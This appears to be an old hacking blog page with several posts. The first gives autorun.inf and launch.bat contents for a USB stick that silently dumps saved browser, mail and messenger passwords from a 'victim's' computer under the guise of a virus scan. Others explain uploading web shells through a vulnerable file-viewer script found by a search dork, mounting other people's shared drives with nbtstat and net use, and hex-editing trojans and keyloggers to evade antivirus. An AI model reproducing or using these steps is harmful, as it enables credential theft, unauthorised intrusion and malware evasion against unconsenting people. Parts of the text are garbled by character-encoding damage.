How To Make Your Own USB Stealer Steal Password Using Pendrive

Posted by Akshay | Friday, September 07, 2012 |

We Do use Pendrive/Usb Storage Device for different purpose but i am really interested in hacking friends password using USB Storage device.Sounds different but yes it is possible i found a way to perform it .

As we all know that windows stores most of its passwords on daily basis , Such as Msn messenger passwords,Yahoo passwords,Myspace passwords etc.Also you know know that there are many tools to recover Saved passwords,so in this article i will explain you on How to made a USB passwords stealer and steal saved passwords form remote Computer.

Before proceeding Download These Required Material

MessenPass - MessenPass is a password recovery tool that reveals the passwords of the following instant messenger applications:

Mail PassView - Mail PassView is a small password-recovery tool that reveals the passwords and other account details for Outlook express,windows mail,POP3 etc

IE Passview: IE passview is a small program that helps us view stored passwords in Internet explorer.

Protected storage pass viewer(PSPV) - Protected Storage PassView is a small utility that reveals the passwords stored on your computer by Internet Explorer, Outlook Express and MSN Explorer.

Password fox:Password fox is a small program used to view Stored passwords in Mozilla Firefox.


Now Downloaded All the required things come to some real stuff

Note:Kindly disable your antivirus before performing these steps

Steps to create Own Usb Stealer

1.First of all download all 5 tools and copy the executables (.exe( files in your USB i.e. Copy the files mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy the autorun.inf file onto your USB pendrive.


3. Create another Notepad and write the following text onto it.


start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB drive.

Now your USB Password stealer is ready all you have to do is insert it in your victims computer and a popup will appear, in the popup window select the option (Launch virus scan) as soon as you will click it the following window will appear.

After this you can see saved password in .TXT files

Thanks For Reading

Read More

Enumerate Company's Employees Information with Jigsaw

Download Jigsaw @ https://github.com/pentestgeek/jigsaw/downloads

Download PDF @ http://adf.ly/CtxYO

More Tutorials @ http://adf.ly/CX5Rt

Read More

"file viewer" remote File upload vulnerability

"file viewer" is just another remote file upload vulnerability, it allows you to upload .html .txt and .jpg files, 
for shell uploading try .php.jpg or php shell uploading with extention changing [ Tamper data or Live Http headers]

Dork : "file viewer for uploader"
and "File viewer for Uploader (c) 2003 by Dirk Paehl"Goto Google or any other search engine and type the dork ""file viewer for uploader" now select site from there, vulnerable website's title will be something like "File viewer for Uploader"
after clicking on site you'll get site url like this :
http://www.site.com/view.php
or http://www.site.com/directory/view.php
now replace view.php with upload.php and you'll get upload options there ! 
in some sites it will ask for Name n Password
default password for these websites is Admin 

Name = Admin
Password= admin

now select your files and upload ! 
to view your uploaded files goto the 1st view.php and check files's directory there, now click on your file !

Read More

Hacking into another persons computer

Hai...This article explains the method used for hacking into another persons computer remotely using command prompt in your network i.e network computer hacking,I have also posted another article regarding computer hacking using Rats,which has a greater sucess rate than this method and written with relavent screen shots.



Step 1 
First of all,get a good IP scanner angry ip scanner is a good one you can get it here:
Angry ip scanner Download


Step 2
Now click on start and then goto run and then type there "CMD" and press ok
 This is what you see:
c:\windows>
Now this is what you have to do ---->>> 
Replace 255.255.255.255 with the victims IP address.

c:\windows>nbtstat -a 255.255.255.255

If you see this your in NetBIOS Remote Machine Name Table
Name Type Status ---------------------------------------------------------------
user<00> UNIQUE Registered
workgroup <00> GROUP Registered
user <03> UNIQUE Registered
user <20> UNIQUE Registered

MAC Address = xx-xx-xx-xx-xx-xx 
---------------------------------------------------------------

If you don't get the number <20>. 
The victim disabled the File And Printer Sharing, find  another victim.

Step 3:

Type down:
c:\windows>net view \\255.255.255.255 
If the output is like this:
Shared resources at \\255.255.255.255
ComputerNameGoesHere 

Sharename Type Used as Comment
CDISK Disk xxxxx xxxxx
The command completed successfully.
"DISK" shows that the victim is sharing a Disk named as CDISK

Step 4 
you can replace x: by any letter you want but not the letter of your own drive.
CDISK is the name of the shared harddrive. 

Now type:c:\windows>net use x: \\255.255.255.255\CDISK
If the command is successful you are a small time hacker.
Now open windows explorer or just double click on the My Computer icon on your
desktop and you will see a new network drive X:.

Note to newbies: This hack will only work if you have the ip of someone on your network. It will not work if the ip of the person you want to "hack" is not on your network.

Read More

How to Make a Trojan,Keyloggers,Virus Undetectable by Antivirus Software-Hex Editing

click hear to get the clear version  because some time you cant read the post below because of the unwanted characters

 I've been writing a lot about keylogging on this blog. Now as you know, most of the keyloggers are detected by anti-virus softwares, so what you really want is a FUD Keylogger (Fully Undetactable). That means no anti-virus software will alrert the victim saying its a virus. There are very few FUD Keyloggers on web and the most of the time you need to buy a keylogger that will be FUD for a long time. They normally cost about 3$-20$, depending on the functions of the Builder.
Since the FUD keyloggers cost money, i decided to show you how to make them undetectable for free, using hexediting method.

Here I will try to explain how to hexedit your favorite Trojan in order to make it undetected by certain anti-virus programs. I will try to put this as simple as possible so everyone understands it.

Content:

1. General info about hexediting .
2. What tools you need to get started.
3. How to hex.

General info about hexediting
If you want to make your server undetectable, you need to know how AVs work and how they detect your files, right? There are a few ways that AVs use to detect your server heuristics, sandboxing, etc., and one of them is using so called "definition files" that carry information about strings inside your server. Well, that's the way we are going again in this tutorial because hexing is pretty much useless for other methods of detection. So when AVs scan your files it searches for specific stings on specific parts in your server, and if strings match with strings in the AV database, your file is detected.
Let as say that detected strings are "XX" so we need to change that string to something else (e.g. "XY","YY") that isn't in the AV definition database so the file can not be matched with any of the AV definitions and that way the file will be undetectable. There are going to be a few tagged strings in your server - not only one, depending on what trojan you are using and how popular is. Less popular trojans tend to have less tagged parts, and with that they are easier to make it undetectable.
First of all, hexing is not the best method for undetecting files because AVs can change old tagged parts, and once your AV is updated, new definition files are downloaded and your once undetected server might become detected again. Also not all AVs use the same tagged parts - this way you need to hex your server against more AVs to make it fully undetected. This can be annoying because you need to download wanted AVs then hex it your server, then download another etc., etc. Sometimes AVs tag critical parts of the server, and if that part is altered will corrupt the server. Also, heavily edited servers can become unstable, some functions might not work, or even you can corrupt your server and make it useless.
That's why you need to check your server if its still working after every single change you made while hexing it.
Now how to find detected strings in your server?
There are few ways you can do this: Manually cut your server in half adding parts to one half and scanning it until you find the detected string (which is slow and time consuming); use file splitters to split your server into bytes, and after that scan all split files and find out what byte is detected then alter it in original exe, or you can use an offset AV .

What tools you need to get started

• Unpacked trojan/keylogger server. (That's your virus)
• Hex editor > Click here---> Download
• Av devil >  Download
• File Splitter > Download (Optional)
• AV-antivirus

How to hex

-Step 1.
Turn your AV real-time protection â***65533;***65533;OFFâ***65533;***65533; . Make your Trojan server and
make sure that is not packed.
Open AV Devil and select your server. After selecting, the server msg will pop up
click OK, and the next msg will popup asking you to turn your AV real-time
protection back â***65533;***65533;ONâ***65533;***65533;. After you do that just click "OK" and lets AV Devil
search for detected offsets.
During the search your AV will pop up a couple of times. Just click on "Skip" and let
AV Devil finish.
After its done you will see something like this:



As you can see this Trojan server has only two detected offsets.
That means that first detected offset begins at 53F7 and ends at 5476.
Also you can see where the second offset starts and ends. Thatâ***65533;***65533;s the part that the AV
is checking in this definition database. If the part in the server matches with part in
AV database your server is detected. You can hex beginning and ending offset or in
between.
Step 2.
Now when we have detected offsets, we open our server in Hex WorkShop. Type
"Ctrl+G" and this will come up:



Type the first offset in, select from â***65533;***65533;Beginning of File,â***65533;***65533; and make sure that you
selected "hex," because offsets in AV Devil are displayed in that manner. Unless you
save via AV Devil, then they are converted into a decimal. Click â***65533;***65533;Goâ***65533;***65533; and you will
be sent to that offset location. Now we need to change that â***65533;***65533;31â***65533;***65533; to something else, so
we will change it to â***65533;***65533;32â***65533;***65533;.



Select â***65533;***65533;31â***65533;***65533; right click to it and select fill.



You will see the window below. In â***65533;***65533;Fill with the following hex byteâ***65533;***65533; we are going to
fill in â***65533;***65533;32â***65533;***65533; and hit OK.



After clicking â***65533;***65533;OK,â***65533;***65533; the changed hex byte going to be shown in red.

[slika]http://img377.imageshack.us/img377/876/slika6gy9.jpg[/img]
__________________________________________________ __________________
Now repeat this for every offset that you found in AV Devil.


__________________________________________________ ___________________
Going to change it â***65533;***65533;FEâ***65533;***65533; to â***65533;***65533;EEâ***65533;***65533; and so on for all other detected offsets.



Once youâ***65533;***65533;ve completed editing all offsets, save your server and scan if itâ***65533;***65533;s UD, and
then youâ***65533;***65533;re done. If the AV still detecting it, repeat steps 1 and 2.
Hereâ***65533;***65533;s a little tip on how to change detected bytes: Try to make minor changes like
32 =>31, 22, 42, 33, 34, or FE =>EE ,FF etc., etc. Basically, one character up/down
for each - thatâ***65533;***65533;s the best way and will minimize chances to corrupt your server. If that
doesnâ***65533;***65533;t work for some reason, you can try and change it to something completely
different, but always check your server after editing bytes. That way you can see if the
server works or if itâ***65533;***65533;s corrupted (you can keep track of what change caused the
corruption and you can try and edit that byte with some other character).
Another thing in some Trojans servers is that AV Devil canâ***65533;***65533;t find the beginning of the
first offset and will mark it with â***65533;***65533;0.â***65533;***65533; Letâ***65533;***65533;s say youâ***65533;***65533;ve hexed all other found offsets
but your server is still detected. Split the file into half and run AV Devil on the first
half. That way you will be able to find the first offset that is missing and finish your
hexing. If some tagged part is a letter, e.g. â***65533;***65533;Yâ***65533;***65533; change it to â***65533;***65533;yâ***65533;***65533; or just PlAy wItH
ThE CaPs.
Ex:



So there you have it! Now you know how to hex your server and make it undetected
from wanted AVs.

 

Read More

How to: Unlock Memory Card Passwords

How to: Unlock Memory Card Password

If one day suddenly you restore your phone , after that you find that your memory card is password protected and shit ! You don’t know the password and have some important files & data in that, what will you do ? Don’t worry, I will show you the way by which you can unlock memory card’s password. If that trick will not work then sorry you can’t recover your memory card’s password & data but yes , I will tell you the other trick by which you can format your memory card and at-least recover your memory card to reuse.

So, these are some tricks to recover your memory card’s password.

If you have a Nokia s60 1st & 2nd edition phone you can find your memory card’s forgotten password by following these steps:

1. First of all Download  and Install FExplorer.
2. Run FExplorer and Open the path C:\system.
3. You will  find there a file named mmcstore , move this file to other location of your phone, rename the file mmcstore.txt
4. Open the file in your phone or Copy that file(mmcstore.txt) to your pc and open that file in notepad.
5. You will find your password in that file.
6. By this way, you can unlock memory card and recover your memory card’s password.

Read More

"Gauss" Malware a Cyber-Espionage + Banking Trojan out in the wild

A new malware, “Gauss” targeting users in the Middle-East has been discovered. Initiated by the International Telecommunication Union (ITU) following the discovery of Flame, Kaspersky Lab experts have discovered this new cyber threat which is a complex, nation-state sponsored cyber-espionage toolkit designed to steal sensitive data with a specific focus on browser password, online banking account credentials, cookies, and specific configurations of infected machines.

ITU-IMPACT’s partner, Kaspersky Lab, have developed the removal tool to be used to remove this malware from infected systems. This tool, Kaspersky Virus Removal Tool Special ITU Edition,  removes Gauss, Flame, Stuxnet, Duqu and all other known malicious programs. The link contains the tool itself and a user manual. Please note that you have to launch the tool twice for the full recovery from the Gauss malware. The tool is now made available by ITU-IMPACT and Kaspersky Lab and can be download via the FTP site below:

In order for you to get this tool please download it from our site: http://cloud.impact-alliance.org/ 

Username           :country

Password            :Welcome1 

Once you click on the link, the download will start and you will get a .rar file (archived file format). This archived file contains the tool itself. However, the tool is quite intuitive and user friendly. 

You will need to:

1.    unzip the file
2.    install the application
3.    run through the scan
4.    Follow instructions if any malware is detected
5.    Check manual if you find any difficulty 

The archive is protected by a password: Rzj3Uvu5OEcg7YKm 

Attached with this email is a document “Gauss QA” which explains some of the queries you might have while trying to mitigate this threat. Please go through the details for more in-depth knowledge about this malware.

Read More